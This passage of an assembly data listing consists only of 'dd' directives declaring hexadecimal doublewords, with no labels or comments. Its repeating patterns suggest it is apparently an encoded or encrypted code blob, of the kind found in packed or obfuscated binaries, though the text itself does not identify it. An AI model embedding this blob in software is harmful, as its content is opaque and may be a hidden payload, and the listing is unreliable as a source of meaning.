0C3122D2Ch, 926A6BFDh, 8585F96Ah, 524FF123h dd 0F96A6BF8h, 2A2C7294h, 6A4FC575h, 0F96A6BF8h, 852C7F94h dd 6F85720Fh, 6A77234Ah, 7EDBBDF3h, 0F96A6BF8h, 0BD437892h dd 7F1790Fh, 0FDD91272h, 0AF926A6Bh, 238585F8h, 0FBFA4FF1h dd 0C5756A6Bh, 6BF83A67h, 0F9A47B6Ah, 2A2C7294h, 0CE4FC575h dd 796A6BFAh, 6BFB224Fh, 7294F96Ah, 6F852D2Ch, 6A77234Ah dd 0FFF7BDF3h, 85858A7Bh, 7585122Ah, 77107A7Ah, 626F852Dh dd 0DB6A7A8Ah, 6A6BFAEAh, 0FBCE7F79h, 0C6FA6A6Bh, 8595837Fh dd 690F5A85h, 6BF876DBh, 7FC6FA6Ah, 85859584h, 0EAFE755Ah dd 0F77A7A7Ah, 858A7BF7h, 85B2F985h, 7B46FA3Ah, 0F1830F7Ah dd 6BFA9667h, 76B9F96Ah, 908A243h, 6BFAD6DBh, 7FC6FA6Ah dd 85859580h, 0DB750F12h, 6A6BF836h, 837FC6FAh, 0E858595h dd 0E4122F0Eh, 926A6BFDh, 8585F85Eh, 1E4FC575h, 0F96A6BFBh dd 2A2C79BCh, 8A7BCFF7h, 922C8585h, 8585CF4Dh, 756ABEF9h dd 0FAD267C5h, 0B9FB6A6Bh, 7A7A8585h, 650FA243h, 6BFDE212h dd 0FB94926Ah, 2A238585h, 0FB9E4FF1h, 94F96A6Bh, 76102C7Eh dd 626F852Dh, 256A7A8Ah, 0B9B32124h, 2D9FF32Fh, 85720F85h dd 6BF8224Fh, 0D66F856Ah, 0F36A7B5Bh, 0B92725BDh, 929FF32Fh dd 85858754h, 6BF87EDBh, 0CBAF96Ah, 0FA9A6FF1h, 0B8FB6A6Bh dd 7A7A9022h, 0FB5E6F79h, 0D5756A6Bh, 6F852AB8h, 6A77235Eh dd 27AE9123h, 2F7A7EB8h, 6EC29FF3h, 927A7D65h, 7A7A5643h dd 0F72D2C29h, 818BFAFFh, 6F852A85h, 6A7A8A32h, 8B16FFF7h dd 0F72A8581h, 818BFAFFh, 73102A85h, 6BFB9EDBh, 7E92F96Ah dd 720F852Ah, 485E6F85h, 0B9F36A73h, 6BFB7ADBh, 5A7F796Ah dd 0F96A6BF8h, 0B9437192h, 747AFF75h, 9ADB7A7Ah, 0F96A6BFAh dd 0FFF37C92h, 85818BDAh, 8BF2F7F1h, 0F7F38581h, 85818BE6h dd 8BDAF7F7h, 122B8581h, 6A6BE0D2h, 8BE6FFF1h, 0F12A8581h dd 476E8542h, 7A7A7A7Ah, 4EDBB9F3h, 796A6BF8h, 6BFB367Fh dd 7092F96Ah, 0FF75B943h, 7A7A77C8h, 8B06FFF7h, 0F12A8581h dd 818BDAFFh, 42F12A85h, 0F3022D85h, 0FAC6DBB9h, 7F796A6Bh dd 6A6BFB9Ah, 437E92F9h, 1FF75B9h, 0F77A7A77h, 818BD3FFh dd 0CF852A85h, 85818B06h, 85EBD492h, 72BEF985h, 0F33DBDF3h dd 818B12C7h, 6CF8585h, 8585818Bh, 6B154E6Fh, 0D3C7FA6Ah dd 1285818Bh, 0C7FA610Fh, 85818BD0h, 0FA680F0Eh, 818BD1C7h dd 730F0E85h, 8BD6C7FAh, 0E0A8581h, 7752937Fh, 0FFF77A7Ah dd 85868BCEh, 0DAFFF12Ah, 2A85818Bh, 0ED8542F1h, 7A7A7AEEh dd 0FEDBB9F3h, 796A6BFBh, 6BFBF67Fh, 7F92F96Ah, 6B0EB943h dd 6BFBFADBh, 0C67F796Ah, 0F36A6BFAh, 868BCEFFh, 0E2FFF785h dd 2A85818Bh, 8BDAFFF1h, 0F12A8581h, 322D8542h, 4ADBB9F3h dd 326A6BFBh, 0FF75B943h, 7A7A76B0h, 8BEEFFF7h, 122A8581h dd 6A6BE052h, 8BE2FFF1h, 0F12A8581h, 476E8542h, 7A7A7A7Ah dd 76DBB9F3h, 0F96A6BFBh, 0B9437892h, 76EAFF75h, 0FFF77A7Ah dd 85818BEAh, 0EEFFF12Ah, 2A85818Bh, 2D8542F1h, 0DBB9F326h dd 6A6BFB5Eh, 0FAEA7F79h, 92F96A6Bh, 75B9437Ch, 7A7623FFh dd 0AFFF77Ah, 2A85818Bh, 8BEAFFF1h, 0F12A8581h, 5A2D8542h dd 0BADBB9F3h, 796A6BFBh, 6BF87A7Fh, 7C92F96Ah, 0FF75B943h dd 7A7A7658h, 6BFBAEDBh, 467F796Ah, 0F96A6BF8h, 0A28D7D92h dd 8BDEFFF3h, 0F2128581h, 926A6BFDh, 8585C948h, 766F852Ah dd 0F36A7B7Ah, 868BC6FFh, 0FD0E1285h, 61926A6Bh, 2A8585C9h dd 7A766F85h, 0FFF36A7Bh, 85868BC2h, 0E67FC575h, 0F16A6BFAh dd 6BF8566Fh, 7D90F96Ah, 0C67FEEF2h, 0DB858688h, 6A6BFA9Ah dd 0FB0A7F79h, 0FEBC6A6Bh, 8688CC7Fh, 32DB3E85h, 756A6BF8h dd 0FAB66FC5h, 0AA7B6A6Bh, 0C67FFEBCh, 6858688h, 8BD3FFF7h dd 0F72A8581h, 8688BAFFh, 6F852A85h, 6A7A8A56h, 756ABEF9h dd 0FBEE7FC5h, 0F3326A6Bh, 818B0EFFh, 0FB6EDB85h, 7F796A6Bh dd 6A6BFB2Ah, 0F37F92F9h, 818B02FFh, 7FC57585h, 6A6BFB1Eh dd 0FBC67F79h, 92F96A6Bh, 43A28D7Ch, 818BDEFFh, 0F73D0F85h dd 868BD6FFh, 0FFF12A85h, 85818BEEh, 8542F12Ah, 0B9F3422Dh dd 6A7FC575h, 0F96A6BF8h, 0B9437F92h, 709CFF75h, 19127A7Ah dd 926A6BFDh, 85850406h, 0BAC7F72Ah, 2D858688h, 8A566F85h dd 0BEF96A7Ah, 7B669376h, 0BD1C7A7Ah, 818B22FFh, 0F17A6D85h dd 818BDEFFh, 1AFFF385h, 0F785818Bh, 818B32FFh, 0FFF72A85h dd 85818B22h, 0EAFFF12Ah, 2A85818Bh, 2C854AF1h, 2FFF766h dd 2A85818Bh, 6BE00212h, 2ACF856Ah, 0F185818Bh, 818B2AC7h dd 8545F185h, 7A7A476Eh, 0B9F37A7Ah, 6BFB82DBh, 0FE7F796Ah dd 0F96A6BFBh, 0B9437D92h, 7024FF75h, 0FFF77A7Ah, 85818B0Eh dd 2FFF12Ah, 2A85818Bh, 0ED8542F1h, 7A7A7AAAh, 42DBB9F3h dd 796A6BF8h, 6BF8667Fh, 7E92F96Ah, 6B0EB943h, 8B02FFF1h dd 0F12A8581h, 722C854Ah, 7A705993h, 0D6FFF77Ah, 2A85868Bh dd 8B0EFFF1h, 0F12A8581h, 422D8542h, 7ADBB9F3h, 796A6BFBh dd 6BF84E7Fh, 6B92F96Ah, 670EB943h, 8B0EFFF1h, 0F12A8581h dd 722C854Ah, 8B02FFF1h, 0F12A8581h, 722C854Ah, 7A73A593h dd 0FD2E127Ah, 0F926A6Bh, 85858507h, 818BDECFh, 0C7F72A85h dd 85868BBBh, 526F852Dh, 0F76A7723h, 868BBBFFh, 0FFF72A85h dd 858688BAh, 566F852Ah, 0F96A7A8Ah, 0FFF762BEh, 85868BD2h dd 0D6FFF12Ah, 2A85868Bh, 2D8542F1h, 0DBB9F35Eh, 6A6BFAB2h dd 0FADE7F79h, 92F96A6Bh, 75B94372h, 7A7305FFh, 7FC5757Ah dd 6A6BFABEh, 0F37C92F9h, 868BCAFFh, 73229385h, 0BD1C7A7Ah dd 838B4AFFh, 0F17A7885h, 868BCAFFh, 42FFF385h, 7585838Bh dd 0FBBE7FC5h, 7F796A6Bh, 6A6BFB8Eh, 0FB266FF1h, 90F96A6Bh dd 7FEEF27Eh, 85808B2Eh, 8B3AFFF7h, 0F72A8583h, 838B4ACFh dd 6A96F985h, 7EC39DF3h, 897A7A7Ah, 4ACFF7DFh, 0F985838Bh dd 9DF36A96h, 7A7A7EC3h dd 0F1DF897Ah, 868BD6C7h, 45F12D85h, 0F3562D85h, 7FC575B9h dd 6A6BFABEh, 437C92F9h, 0AFFF75B9h, 127A7A72h, 6A6BFD3Ch dd 8506F992h, 0CACF8585h, 2A85868Bh, 8BBBC7F7h, 852D8586h dd 7723526Fh, 0BBFFF76Ah, 2A85868Bh, 88BAFFF7h, 852A8586h dd 7A8A566Fh, 62BEF96Ah, 0B67FC575h, 796A6BFAh, 6BFB9E7Fh dd 7F92F96Ah, 8B56FFF3h, 0FFF78583h, 85838B56h, 0E032122Ah dd 0FFF16A6Bh, 85838B3Ah, 8542F12Ah, 7A7A476Eh, 0B9F37A7Ah dd 6BF856DBh, 5E7F796Ah, 0F96A6BF8h, 0B9437292h, 7ECDFF75h dd 0FFF77A7Ah, 85838B52h, 56FFF12Ah, 2A85838Bh, 0ED8542F1h dd 7A7A7A8Ah, 2EDBB9F3h, 796A6BFBh, 6BFB0E7Fh, 7592F96Ah dd 0FF75B943h, 7A7A7E07h, 8B1BFFF7h, 852A8583h, 838B52CFh dd 0F6AF9285h, 0BEF98585h, 3DBDF372h, 8B32C7F3h, 0CF858583h dd 85838B52h, 154E6F85h, 32DB6A6Bh, 0F96A6BF8h, 0FFF37E92h dd 85818B1Eh, 0FFF13091h, 85818B1Eh, 7FFEC475h, 85838B1Bh dd 0FBD66FF1h, 0B8F96A6Bh, 0EAA4371h, 4E6FF169h, 0F96A6BFBh dd 6F797EB8h, 6A6BFB0Ah, 6C0FAA43h, 8B1EFFF1h, 6FF18581h dd 6A6BFB26h, 0F27E90F9h, 8B1B7FEEh, 0FF858583h, 85818B1Eh dd 8B32FFF1h, 0FF438583h, 85818B1Eh, 0FFF7D208h, 85838B1Bh dd 1FFFF72Ah, 2A85808Bh, 7A5C6292h, 7FC5757Ah, 6A6BFAE6h dd 0FB5E7F79h, 92F96A6Bh, 1EFFF372h, 0F185818Bh, 818B1EFFh dd 7FF6F785h, 85838B1Bh, 3A85B2F9h, 7A7B46FAh, 0FFF3830Fh dd 85838B22h, 0F8466FF1h, 0ABF36A6Bh, 0B243AB7Bh, 0C575620Eh dd 6BF8626Fh, 9A77F16Ah, 0F76A6BFAh, 7AB870EEh, 0AA437A7Ah dd 0AA937F0Ch, 757A7A7Ah, 0F83E7FC5h, 92F96A6Bh, 26FFF37Dh dd 9185838Bh, 1EFFF152h, 7985818Bh, 838B26FFh, 0FEC47585h dd 838B1B7Fh, 6FC57585h, 6A6BFA86h, 4364B8F9h, 856E0FAAh dd 838B26FFh, 22FFF185h, 4385838Bh, 838B26FFh, 0F1B00885h dd 838B22FFh, 26FF4385h, 0E85838Bh, 7FC57500h, 6A6BFA86h dd 0FFF12A32h, 85818B1Eh, 1B7FFEF7h, 2A85838Bh, 8B1FFFF7h dd 922A8580h, 8585D7F5h, 0F376BEF9h, 838B5EFFh, 0FBFADB85h dd 8D7F6A6Bh, 797A7A85h, 6BF84E7Fh, 5EFF436Ah, 0F85838Bh dd 0FD3B124Ch, 43926A6Bh, 2A858500h, 8B1FC7F7h, 852D8580h dd 7A8A566Fh, 1EFFF16Ah, 0F785818Bh, 8B1B7FFEh, 0F72A8583h dd 808B1FFFh, 6F852A85h, 6A7A8A56h, 0F16EBEF9h, 838B22FFh dd 0E66FF185h, 796A6BFBh, 6BFBBA6Fh, 7E90F96Ah, 0FF7BAA7Bh dd 85818B1Eh, 8B32FFF1h, 0FF438583h, 85818B1Eh, 84C3F875h dd 76DB8585h, 0F96A6BF8h, 0FFF37E92h, 85838B36h, 8B1FF7F7h dd 0B2F98580h, 46FA3A85h, 830F7A7Bh, 8B22FFF3h, 0BADB8583h dd 0F96A6BFBh, 0FFF37B92h, 85818B1Eh, 7A786993h, 1EFFF17Ah dd 7585818Bh, 1F7FFECCh, 0F185808Bh, 6BFB4E6Fh, 6FB8F96Ah dd 0FAE26F79h, 0AA436A6Bh, 0DFF97D0Eh, 85838B2Eh, 1EFFF17Ah dd 7585818Bh, 1F7FFECCh, 0F185808Bh, 6BFBA66Fh, 5AB8F96Ah dd 0FF75AA43h, 7A7A7B08h, 6BFBFEDBh, 7E92F96Ah, 8B1EFF43h dd 0FC758581h, 7A7A7ACAh, 8B1EFFF1h, 0C5758581h, 6BFB526Fh dd 226F796Ah, 0F96A6BFBh, 0AA537D90h, 1F7FFEF0h, 0F285808Bh dd 838B59FFh, 0FFCC7585h, 85838B59h, 0FB366FF1h, 0B8F96A6Bh dd 4AA4364h, 926FF177h, 0F96A6BFAh, 0AA4355B8h, 0CC751A06h dd 838B59FFh, 6FC57585h, 6A6BFB1Eh, 0FBD677F1h, 2EF76A6Bh dd 0AA434C70h, 0C5756F04h, 6BFBB66Fh, 0DA77F16Ah, 0F76A6BFBh dd 434A702Eh, 755506AAh, 8B59FFCCh, 0C5758583h, 6BFBEE6Fh dd 9A77F16Ah, 0F76A6BFAh, 4309702Eh, 0F16704AAh, 6BFAD66Fh dd 2B8F96Ah, 0FBA66F79h, 0AA436A6Bh, 0FFBD7007h, 85838B2Eh dd 7A7A7A7Bh, 8B22FFF1h, 0FF438583h, 85818B1Eh, 7AE6F975h dd 0FFF17A7Ah, 85818B1Eh, 0FAE26FF1h, 90F96A6Bh, 0F0AA7B72h dd 8B1F7FFEh, 0FFF28580h, 85838B59h, 59FFCC75h, 0F185838Bh dd 6BFB8E6Fh, 6FB8F96Ah, 0F87E6F79h, 0AA436A6Bh, 6FF16C04h dd 6A6BFBF2h, 7553B8F9h, 0FAEE77C5h, 0B07B6A6Bh, 3E06AA43h dd 59FFCC75h, 0F185838Bh, 6BF8666Fh, 4FB8F96Ah, 7704AA43h dd 0FB826FF1h, 0B8F96A6Bh, 6AA4344h, 0FFCC7559h, 85838B59h dd 426FC575h, 0F96A6BFBh, 0AA430DB8h, 0C5756204h, 6BFAB66Fh dd 4B8F96Ah, 7007AA43h, 8B2EFFBDh, 7A7B8583h, 0C7F97A7Ah dd 85838B2Eh, 0F15A0F7Ah, 838B36FFh, 1EEFF185h, 0F085818Bh dd 8B1F6FEEh, 0EEF28580h, 808B1F7Fh, 36FF8585h, 0F185838Bh dd 818B1EFFh, 0FECC7585h, 808B1F7Fh, 0A26FF185h, 0F96A6BFAh dd 6F7962B8h, 6A6BFB76h, 700FAA43h, 8B2EFFBDh, 7A7B8583h dd 0FF857A7Ah, 85818B1Eh, 8B22FFF1h, 0FF438583h, 85818B1Eh dd 87A1F875h, 0FFF18585h, 85838B36h, 0FBCA6FF1h, 0C5756A6Bh dd 6BFAE677h, 0F9B07B6Ah, 0EEF27790h, 808B1F7Fh, 56FFF185h dd 2A85838Bh, 2C854AF1h, 7FC57572h, 6A6BFB46h, 0F37392F9h dd 838B2AFFh, 2AFFF785h, 2A85838Bh, 6BE02212h, 3AFFF16Ah dd 2A85838Bh, 6E8542F1h, 7A7A7A47h, 0DBB9F37Ah, 6A6BF87Eh dd 0FBFA7F79h, 92F96A6Bh, 75B94378h, 7A7894FFh, 3EFFF77Ah dd 2A85838Bh, 8B2AFFF1h, 0F12A8583h, 162D8542h, 5EDBB9F3h dd 756A6BFBh, 0FB526FC5h, 0AA7B6A6Bh, 437D92F9h, 0CEFF75B9h dd 0DB7A7A78h, 6A6BF84Eh, 0F37292F9h, 808B1AFFh, 78F59385h dd 1ADB7A7Ah, 796A6BFBh, 6BFB0E7Fh, 7492F96Ah, 5E6F852Ah dd 236A7723h, 82FFBD1Ch, 7885828Ah, 1AFFF17Ah, 0F385808Bh dd 828B7AFFh, 8EFFF785h, 2A85828Ah, 8A82CFF7h, 96F98582h dd 0C39DF36Ah, 7A7A7A7Eh, 0CFF7DF89h, 85828A82h, 0F36A96F9h dd 7A7EC39Dh, 0DF897A7Ah, 8B2AC7F1h, 0F12D8583h, 0E2D8545h dd 0C575B9F3h, 6BF86A7Fh, 6FC5756Ah, 6A6BFAB6h, 92F9AA7Bh dd 75B9437Ch, 7A7870FFh, 7FC5757Ah, 6A6BFAEEh, 0FADA7F79h dd 92F96A6Bh, 76FFF37Fh, 0F785828Bh, 828B76FFh, 32122A85h dd 0F16A6BE0h, 828A8EFFh, 42F12A85h, 7A476E85h, 0F37A7A7Ah dd 7FC575B9h, 6A6BFBD2h, 0F85A7F79h, 92F96A6Bh, 75B94378h dd 7A7BC8FFh, 6AFFF77Ah, 2A85838Bh, 527FC575h, 0F96A6BFBh dd 852A7F92h, 868BC2CFh, 76FFF185h, 2A85828Bh, 2D8542F1h dd 73B9F35Ah, 1C700FA1h, 8B6AC7F9h, 0E728583h, 7B17937Fh dd 76DB7A7Ah, 796A6BF8h, 6BFBF67Fh, 6FC5756Ah, 6A6BFB46h dd 0F27390F9h, 8B767FEEh, 0FFF78582h, 85828B6Bh, 62CF852Ah dd 9285838Bh, 8585FCDDh, 0F372BEF9h, 0C7F33DBDh, 85829A8Ah dd 8B62CF85h, 6F858583h, 6A6B154Eh, 6BFB4EDBh, 6FC5756Ah dd 6A6BFAEEh, 6FEEC475h, 85828B75h, 0BB7BBBF3h, 92F9B2F3h dd 75B8437Eh, 7A7B78FEh, 0CECF857Ah, 0F785868Bh, 828B6BFFh dd 4922A85h, 0F9858537h, 0FFF772BEh, 85838B6Ah, 0FB5ADB2Ah dd 92F96A6Bh, 0CF852A72h, 85868BC6h, 8B76FFF1h, 0F12A8582h dd 5A2D8542h, 5ADBB9F3h, 796A6BF8h, 6BF8367Fh, 6FC5756Ah dd 6A6BFB62h, 0F27290F9h, 9A907FEEh, 0A1738582h, 0F91C4E0Fh dd 838B6AC7h, 500F7285h, 9A8FFFF7h, 852A8582h, 838B62CFh dd 0FF8F9285h, 0BEF98585h, 3DBDF372h, 9A96C7F3h, 0CF858582h dd 85838B62h, 154E6F85h, 43126A6Bh, 926A6BFDh, 85850EB6h dd 8B1ACF85h, 0F72A8580h, 868BBBC7h, 6F852D85h, 6A772352h dd 8BBBFFF7h, 0F72A8586h dd 8688BAFFh, 6F852A85h, 6A7A8A56h, 9A8FFFF7h, 0F72A8582h dd 8688BAFFh, 6F852A85h, 6A7A8A56h, 6BFD4E12h, 0EFC926Ah dd 0F72A8585h, 8688BAC7h, 6F852D85h, 6A7A8A56h, 8B6BFFF7h dd 0F72A8582h, 8688BAFFh, 6F852A85h, 6A7A8A56h, 0F14EBEF9h dd 828B76FFh, 4AF12A85h, 0F1722C85h, 828A8EFFh, 4AF12A85h dd 85722C85h, 808B1AFFh, 3EFFF185h, 4385838Bh, 808B1AFFh dd 25F87585h, 0F1858587h, 838B2AFFh, 4AF12A85h, 0F1722C85h dd 838B3AFFh, 4AF12A85h, 75722C85h, 8B1FFFCCh, 6FF18580h dd 6A6BFB56h, 0FBFA6F79h, 90F96A6Bh, 0EAA4372h, 0FD54123Dh dd 8F926A6Bh, 2A858509h, 88BAC7F7h, 852D8586h, 7A8A566Fh dd 1FFFF76Ah, 2A85808Bh, 88BAFFF7h, 852A8586h, 7A8A566Fh dd 0FD53126Ah, 0B3926A6Bh, 2A858509h, 88BAC7F7h, 852D8586h dd 7A8A566Fh, 5ABEF96Ah, 8BCAFF85h, 0FFF18586h, 85868BD2h dd 8BCAFF43h, 0F8758586h, 85858CECh, 8BDEFF85h, 0FFF18581h dd 85818B0Ah, 8BDEFF43h, 0F6758581h, 85858EE5h, 88BAFFF7h dd 852A8586h, 7723666Fh, 0CF85236Ah, 85868BC2h, 154E6F85h dd 0CF856A6Bh, 85868BC6h, 154E6F85h, 0FFF16A6Bh, 85818BEAh dd 854AF12Ah, 0FFF1722Ch, 85818BEEh, 854AF12Ah, 0FFF1722Ch dd 85818BE2h, 854AF12Ah, 0FFF1722Ch, 85818BE6h, 854AF12Ah dd 2425722Ch, 2FB9B321h, 0C2129FF3h, 856A7B5Fh, 7F53826Fh dd 5FC2DB6Ah, 0B8276A7Bh, 0F32F7A7Eh, 292A2B9Fh, 7A102D2Ch dd 7A7AFA12h, 1079107Ah, 1279107Ah, 0FA7A7A7Ah, 85720F85h dd 6B11626Fh, 0F9BDF36Ah, 640F8585h, 7A7607F9h, 3FF16E0Eh dd 5A6FF176h, 796A6BF8h, 6BFBE66Fh, 7C90F96Ah, 0BA4B6AF3h dd 0CEDB3591h, 0F96A6BFBh, 2D2A7E92h, 236A6F85h, 0BCF36A73h dd 2A6ABAF9h, 6F853A10h, 6A7F5396h, 4F85B9F3h, 6A6BFB86h dd 7A7607F9h, 3FF1720Eh, 823FF376h, 3FF77C91h, 823FF386h dd 2C820F85h, 6F852D29h, 6A7A8A4Eh, 326F852Dh, 0F36A7333h dd 212425A2h, 7BC2B9B3h, 0B8FA7A3Ah, 122D7A6Ah, 6A6BFD63h dd 85081D92h, 852A2385h, 7B5FE26Fh, 0F802D96Ah, 12DB6A6Bh dd 796A6BFBh, 6BFB067Fh, 7392F96Ah, 0F8027F43h, 6D0F6A6Bh dd 6BFD7312h, 840926Ah, 2A238585h, 48626F85h, 2D96A7Fh dd 126A6BF8h, 6A6BFC96h, 85085992h, 0DB922A85h, 0D97A7A7Eh dd 6A7F4B9Eh, 6BFCB512h, 874926Ah, 922A8585h, 7A7A7EF6h dd 7B5BD2D9h, 0FCBA126Ah, 83926A6Bh, 2A85850Bh, 7A7E0D92h dd 237ED97Ah, 0DD126A73h, 926A6BFCh, 85850B9Eh, 7E18922Ah dd 66D97A7Ah, 126A7332h, 6A6BFCF6h, 850BB592h, 37922A85h dd 0D97A7A7Eh, 6A7A8A2Ah, 6BFC0912h, 0BC0926Ah, 922A8585h dd 7A7A7E42h, 7A8A5AD9h, 0FC25126Ah, 0DF926A6Bh, 2A85850Bh dd 7A7E5992h, 2312D97Ah, 33126A6Bh, 926A6BFCh, 85850BEAh dd 7E74922Ah, 0A6D97A7Ah, 126A7F53h, 6A6BFC51h, 850B0192h dd 83922A85h, 0D97A7A79h, 6A7F5392h, 6BFC6012h, 0B1C926Ah dd 922A8585h, 7A7A799Eh, 7B5FE6D9h, 0FC70126Ah, 2B926A6Bh dd 2A85850Bh, 7A79B592h, 5FDAD97Ah, 90126A7Bh, 926A6BFFh dd 85850B46h, 79C0922Ah, 72D97A7Ah, 126A7B7Ah, 6A6BFFA9h dd 850B5D92h, 0DF922A85h, 0D97A7A79h, 6A732376h, 6BFFC512h dd 0B68926Ah, 922A8585h, 7A7A79EAh, 7B5AFAD9h, 0FFD1126Ah dd 87926A6Bh, 2A85850Ah, 7A790192h, 2BEF97Ah, 7A8A36D9h dd 2FB9256Ah, 852D9FF3h, 4F85720Fh, 6A6BF826h, 5BD66F85h dd 0BDF36A7Bh, 2FB92725h, 292B9FF3h, 3FCC752Dh, 7A70C372h dd 0B7C07A7Ah, 8DB6B6B6h, 7990BB98h, 0F3862FF3h, 1BBDF9ADh dd 27F281F3h, 7207FA72h, 0FA7E0F10h, 0F07B723Fh, 1F46723Fh dd 3466E0Eh, 0F466A0Eh, 1346760Eh, 1546720Eh, 1B467E0Eh dd 3FFA7E0Fh, 0CC757B72h, 2125723Fh, 0F32FB9B3h, 6A7AC29Fh dd 54927A7Ah, 2C7A7A61h, 857F102Dh, 6F85720Fh, 6A7A8A7Eh dd 76DBBDF3h, 0F96A6BF8h, 0BD437E92h, 0BA4B7E0Fh, 85122B91h dd 0F77A7A75h, 858A7BFFh, 852D2A85h, 7B75AA6Fh, 7FC5756Ah dd 6A6BFB62h, 2A7D92F9h, 0F7760F85h, 858A7BFFh, 2A922A85h dd 0F98585D9h, 4FF176BEh, 6A6BFA9Eh, 8580BCFBh, 8A437A7Ah dd 82F37E0Eh, 78107791h, 7E6F852Dh, 0F36A7A8Ah, 25E591BDh dd 2FB9B324h, 292B9FF3h, 27F12D2Ch, 0FB5ADB72h, 0BCF36A6Bh dd 0FAA24F79h, 94F96A6Bh, 47C57574h, 6A6BFBBEh, 917295F9h dd 6ECD7530h, 7637F101h, 376CD75h, 887BB07Bh, 0DB862FF3h dd 6A6BFBD6h, 7A85877Fh, 0CB8437Ah, 4FC57563h, 6A6BFBB6h dd 0DB7294F9h, 6A6BFBFAh, 7B7A7A7Fh, 863F537Ah, 4FF17391h dd 6A6BFB0Ah, 0F17E94F9h, 0F31C862Fh, 753D016Eh, 0FBDE7FC5h dd 0BAF96A6Bh, 8BD4360h, 258AF3D2h, 0B9B32124h, 0F99FF32Fh dd 2C295296h, 7A39C42Dh, 6F917A7Ah, 0FA9267F1h, 67796A6Bh dd 6A6BFBA6h, 0CF66F331h, 6A6B115Ah, 2084F93Ch, 39C59C0Ch dd 937A7A7Ah, 7A7A7BD9h, 6BFFD912h, 1540926Ah, 2A2D8585h dd 298827F7h, 23526F85h, 7ADB6A77h, 796A6BFBh, 6BFBC67Fh dd 7592F96Ah, 5E6F852Ah, 0F96A7723h, 67F16EBEh, 6A6BF856h dd 437D91F9h, 115AC766h, 3F0E6A6Bh, 627FC575h, 0F96A6BFBh dd 3FF37292h, 963FF796h, 0C74E852Ah, 6A6B115Ah, 23366F85h dd 7FB6A6Bh, 7A7B7996h, 85640E7Ah, 115AC74Eh, 6F856A6Bh dd 6A733332h, 5267C575h, 0F96A6BFBh, 66F37F91h, 6B115AC7h dd 883FF76Ah, 1E6F852Ah, 0F36A6B23h, 82F9863Fh, 0F9380E79h dd 470E7E82h, 0E7882F9h, 3667F142h, 796A6BF8h, 6BFA9A67h dd 7591F96Ah, 5AC76643h, 756A6B11h, 7A7A9FFEh, 67C5757Ah dd 6A6BFABEh, 0FBCA6779h, 91F96A6Bh, 0C766F377h, 6A7B5F9Ah dd 7A7AB393h, 857B107Ah, 7B75BA6Fh, 0A63FF76Ah, 9E3FF72Ah dd 9A3FF72Ah, 923FF72Ah, 883FF72Ah, 0F26F852Ah, 0F16A7B5Ah dd 6BFB9667h, 7991F96Ah, 540FA243h, 0FB4E67F1h, 91F96A6Bh dd 0C7664378h, 6A6B115Ah, 7AFEFE75h, 67F17A7Ah, 6A6BFB26h dd 0FB5A6779h, 91F96A6Bh, 0C766F376h, 6A7B5F9Ah, 67F11691h dd 6A6BFAC6h, 826FC575h, 7B6A6BFAh, 7F91F9A9h, 5AC76643h dd 0F6A6B11h, 0C746F32Bh, 6A7B5F9Ah, 2AA23FF7h, 6BFAC6DBh dd 6FC5756Ah, 6A6BFBEAh, 92F9AA7Bh, 66F72A72h, 7B5F9AC7h dd 6512296Ah, 0F16A7A34h, 6BFB7A67h, 9267796Ah, 0F96A6BFAh dd 0F1297091h, 6BFB7667h, 7891F96Ah, 5A6F8529h, 0F36A6B15h dd 115AC77Eh, 0F93D6A6Bh, 0FC752085h, 8585842Eh, 6BFBCADBh dd 7D92F96Ah, 5E6F852Ah, 236A7723h, 85844F93h, 21242585h dd 7A7EB8B3h, 2D9FF32Fh, 85720F85h, 6BF8024Fh, 0D66F856Ah dd 0F36A7B5Bh, 0B92725BDh, 299FF32Fh, 0FF12D2Ch, 6A07F176h dd 6BE0E212h, 6F852C6Ah, 6A772346h, 6A0EBA73h, 0F3723FF1h dd 0F14D857Dh, 7E298562h, 2F91BA4Bh, 6BE06212h, 6F852C6Ah dd 6A772346h, 6A0EBA73h, 0F3723FF1h, 0F14D857Dh, 7E298562h dd 4F91BA4Bh, 6BE3A212h, 6F852C6Ah, 6A772346h, 6A0EBA73h dd 0F3723FF1h, 0F14D857Dh, 7E298562h, 6F91BA4Bh, 6BF876DBh dd 0E27F796Ah, 0F96A6BFAh, 7DF37792h, 7A3A78C2h, 212425FAh dd 7A76B827h, 0FFEF122Dh, 0AB926A6Bh, 23858516h, 0E26F852Ah dd 0D96A7B5Fh, 6A6BF80Ah, 0D27FC575h, 436A6BFAh, 6BF80A7Fh dd 126D0F6Ah, 6A6BFFFDh dd 8516D192h, 852A2385h, 7F48626Fh, 0F80AD96Ah, 7ADB6A6Bh dd 796A6BFBh, 6BFBDA7Fh, 6B92F96Ah, 0F80A7F43h, 660E6A6Bh dd 1E7FC575h, 0F96A6BFBh, 852A7EBAh, 6BF80A4Fh, 0D66F856Ah dd 0D96A7B5Bh, 6A7A8A5Eh, 0F32FB925h, 5296F99Fh, 0F12D2C29h dd 0F13C760Fh, 6BF84647h, 65BDF96Ah, 0BAFF8AF3h, 857F7F07h dd 0BB7A7A7Ah, 67F17282h, 6A6BFABAh, 0F37DB9F9h, 0A9D575B8h dd 7F3AD7Bh, 4E47F182h, 0F96A6BFBh, 8AF369BDh, 7F07BAFFh dd 7A7A857Fh, 7282BB7Ah, 8E67C575h, 0F96A6BFAh, 0B8F375B9h dd 7BA9D575h, 8E07F3ADh, 0FB8E47F1h, 0BDF96A6Bh, 0FF8AF362h dd 7F7F07BAh, 7A7A8585h, 756A82BBh, 0FB3E67C5h, 77F16A6Bh dd 6A6BFBFAh, 697126F7h, 0D575B8F3h, 0F3AD7BA9h, 8AF38A07h dd 7A7A855Fh, 8E922A7Ah, 0F3858580h, 9527F2B9h, 1F8D8AF3h dd 9E3FF38Ah, 7A7A855Fh, 0A6922A7Ah, 0F3858580h, 9427F2B9h dd 1F8D8AF3h, 9A3FF382h, 7A7A855Fh, 0BE922A7Ah, 0F3858580h dd 8527F2B9h, 6BFAB2DBh, 0ABAF96Ah, 0D57588F3h, 5FAAF3AAh dd 7A7A7A85h, 8C5922Ah, 0B9F38585h, 759727F2h, 0F86A7FC5h dd 6FF16A6Bh, 6A6BFB5Eh, 7F6A3EF7h, 0D57588F3h, 5FAAF3AAh dd 7A7A7A85h, 8ED922Ah, 0B9F38585h, 0DB9627F2h, 6A6BFB12h dd 0F357BAF9h, 0AAD57588h, 855FAAF3h, 2A7A7A7Ah, 85080292h dd 0F2B9F385h, 8AF39127h, 0F38E1F8Dh, 855FA63Fh, 2A7A7A7Ah dd 85803C92h, 0F2B9F385h, 0B2DB9027h, 0F96A6BFAh, 88F338BAh dd 0F3AAD575h, 7A855FAAh, 922A7A7Ah, 8585805Dh, 